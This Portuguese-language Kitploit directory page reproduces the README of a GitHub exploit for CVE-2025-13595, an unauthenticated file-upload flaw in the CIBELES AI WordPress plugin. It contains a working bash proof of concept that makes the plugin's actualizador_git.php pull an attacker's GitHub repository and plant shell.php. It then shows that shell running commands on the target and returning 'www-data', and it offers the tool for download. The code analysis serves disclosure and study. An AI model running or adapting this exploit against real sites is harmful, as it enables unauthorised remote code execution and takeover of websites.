Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-13595 — CIBELES AI <= 1.10.8 - Upload Arbitrário de Arquivos Não Autenticado | Kitploit
Ferramentas/GitHubGitHub/d0n601/cve-2025-13595
Geração de PayloadsAnálise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubd0n601/cve-2025-13595

CVE-2025-13595

CIBELES AI <= 1.10.8 - Upload Arbitrário de Arquivos Não Autenticado

Ver Repositório
1há 8 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CIBELES AI <= 1.10.8 - Upload de Arquivo Arbitrário Não Autenticado

O plugin WordPress Cibeles AI nas versões 1.10.8 e anteriores contém uma vulnerabilidade de execução remota de código não autenticada no arquivo actualizador_git.php. Este arquivo é acessível diretamente via HTTP sem qualquer verificação de autenticação ou autorização, permitindo que atacantes não autenticados baixem repositórios GitHub arbitrários e sobrescrevam arquivos do plugin, levando à execução remota de código.

Exploits em Resumo

Um CVE-2025-13595.py é fornecido para demonstrar um atacante remoto enviando shell.php e executando código remoto:

root@kitploit:~
python3 CVE-2025-13595.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/cibeles-ai

[*] Exploit executed. Checking if shell.php was created...

[*] Testing shell access...
www-data


[*] Shell should be accessible at:
    http://techcorp.cc/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND

Análise Técnica

A vulnerabilidade existe em /wp-content/plugins/cibeles-ai/actualizador_git.php. Este arquivo implementa um sistema de espelhamento de repositórios GitHub que pode ser acessado diretamente via HTTP sem qualquer controle de segurança.

Análise do Código

  1. Acesso Direto ao Arquivo (Linha 1-17): O arquivo não possui a verificação padrão do WordPress ABSPATH (if (!defined('ABSPATH')) exit;) que impede o acesso HTTP direto. Os parâmetros são lidos diretamente de $_GET sem validação:

    root@kitploit:~
    $OWNER = $_GET['owner'] ?? 'cibeles';
    $REPO  = $_GET['repo']  ?? 'svn_cibeles-ai';
    $REF   = $_GET['ref']   ?? 'main';
    $TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
    
  2. Validação do Token (Linha 26): A única validação verifica se o token está vazio ou é o valor padrão. Nenhuma autenticação ou autorização é realizada:

    root@kitploit:~
    if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') { 
        http_response_code(400); 
        exit("Falta token\n"); 
    }
    
  3. Requisição à API do GitHub (Linha 31, 35-58): O script baixa um arquivo ZIP da API do GitHub usando parâmetros controlados pelo usuário:

    root@kitploit:~
    $apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
    curl_download($apiUrl, $zip, $TOKEN);
    

    A função envia o token no cabeçalho Authorization, mas não realiza validação do proprietário ou conteúdo do repositório.

Prova de Conceito

root@kitploit:~
TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"

COMMAND="whoami"

echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"

curl -s "${TARGET}/wp-content/plugins/cibeles-ai/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"

echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""

echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=${COMMAND}"

echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo "    ${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND"
Baixar ferramenta
curl_download()
  • Extração ZIP e Operações de Arquivos (Linha 133-158): O ZIP baixado é extraído e os arquivos são copiados diretamente para o diretório do plugin:

    root@kitploit:~
    $zipArc->extractTo($extractDir);
    $rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
    rrcopy_into($rootInsideZip, $cwd);
    

    A função rrcopy_into() copia recursivamente todos os arquivos do repositório extraído para o diretório de trabalho atual (diretório do plugin), sobrescrevendo arquivos existentes.

  • Exclusão de Arquivos (Linha 152-154): Arquivos não presentes no repositório baixado são excluídos:

    root@kitploit:~
    mirror_delete_extras($cwd, $keepSet, $PRESERVE);
    

    A função mirror_delete_extras() exclui qualquer arquivo no diretório do plugin que não exista no manifesto do repositório.